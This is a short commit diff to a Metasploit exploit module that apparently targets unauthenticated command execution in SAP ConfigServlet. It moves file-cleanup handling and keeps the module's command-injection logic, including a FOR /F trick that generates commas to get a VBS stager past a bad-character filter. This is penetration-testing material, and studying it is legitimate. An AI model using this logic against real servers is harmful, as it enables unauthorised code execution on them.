simplify code

Author: andrewkabai

modules/exploits/windows/http/sap_configservlet_exec_noauth.rb

@@ -84,17 +84,14 @@ def execute_command(cmd, opts)
 		commands = cmd.split(/&/)
 		commands.each do |command|
 			timeout = 20
+			if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
+				register_file_for_cleanup($1)
+			end
 			if command.include?(".vbs") and command.include?(",")
 				# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
 				# using the following command line trick it is possible to echo commas into the right places
 				command.gsub!(",", "%i")
 				command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
-				if command.include?("shell.run")
-					if datastore['DELETE_FILES']
-						command.match /.*shell\.run \"(.*)\".*/
-						register_file_for_cleanup($1)
-					end
-				end
 			else
 				command = "cmd /c " + command
 			end